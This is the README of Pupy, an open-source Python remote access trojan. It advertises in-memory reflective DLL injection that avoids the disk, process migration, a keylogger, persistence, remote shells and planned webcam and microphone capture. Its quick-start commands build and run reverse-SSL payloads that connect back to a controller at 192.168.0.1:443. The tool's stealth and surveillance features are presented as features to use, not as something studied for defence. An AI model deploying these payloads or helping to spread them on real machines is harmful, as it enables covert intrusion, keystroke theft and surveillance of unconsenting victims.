Pupy

Pupy is an opensource RAT (Remote Administration Tool) written in Python. Pupy uses reflective dll injection and leaves no traces on disk.

Features :

• On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
• modules are quite simple to write and pupy is easily extensible.
• Pupy uses rpyc (https://github.com/tomerfiliba/rpyc) and a module can directly access python objects on the remote client
  • we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
• communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future
• all the non interactive modules can be dispatched on multiple hosts in one command
• Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)
• modules can be executed as background jobs
• commands and scripts running on remote hosts are interruptible
• auto-completion and nice colored output :-)
• commands aliases can be defined in the config

Implemented Modules :

• migrate (windows only)
  • inter process architecture injection also works (x86->x64 and x64->x86)
• keylogger (windows only)
• persistence (windows only)
• screenshot (windows only)
• command execution
• download
• upload
• socks5 proxy
• interactive shell (cmd.exe, /bin/sh, ...)
• interactive python shell

##Quick start In these examples the server is running on a linux host (tested on kali linux) and it's IP address is 192.168.0.1
The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

generate/run a payload

for Windows

./genpayload.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

for Linux

pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

for MAC OS X

easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

having fun

1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server :

./pupysh.py

3. type "clients" to display connected clients

Some screenshots

#####list connected clients #####help #####execute python code on all clients #####execute a command on all clients, exception is retrieved in case the command does not exists #####use a filter to send a module only on selected clients #####migrate into another process #####interactive shell #####interactive python shell

Dependencies

rpyc (https://github.com/tomerfiliba/rpyc)

##Roadmap and ideas Some ideas without any priority order

• support for https proxy
• add offline options to payloads like enable/disable certificate checking, embbed offline modules (persistence, keylogger, ...), etc...
• integrate scapy in the windows dll :D (that would be fun)
• work on stealthiness and modules under unix systems
• webcam snap
• mic recording
• socks5 udp support
• local/remote port forwarding
• ...
• any cool idea ?

Contact

mail: contact@n1nj4.eu

If some of you want to participate or send me a feedback, don't hesitate :-)
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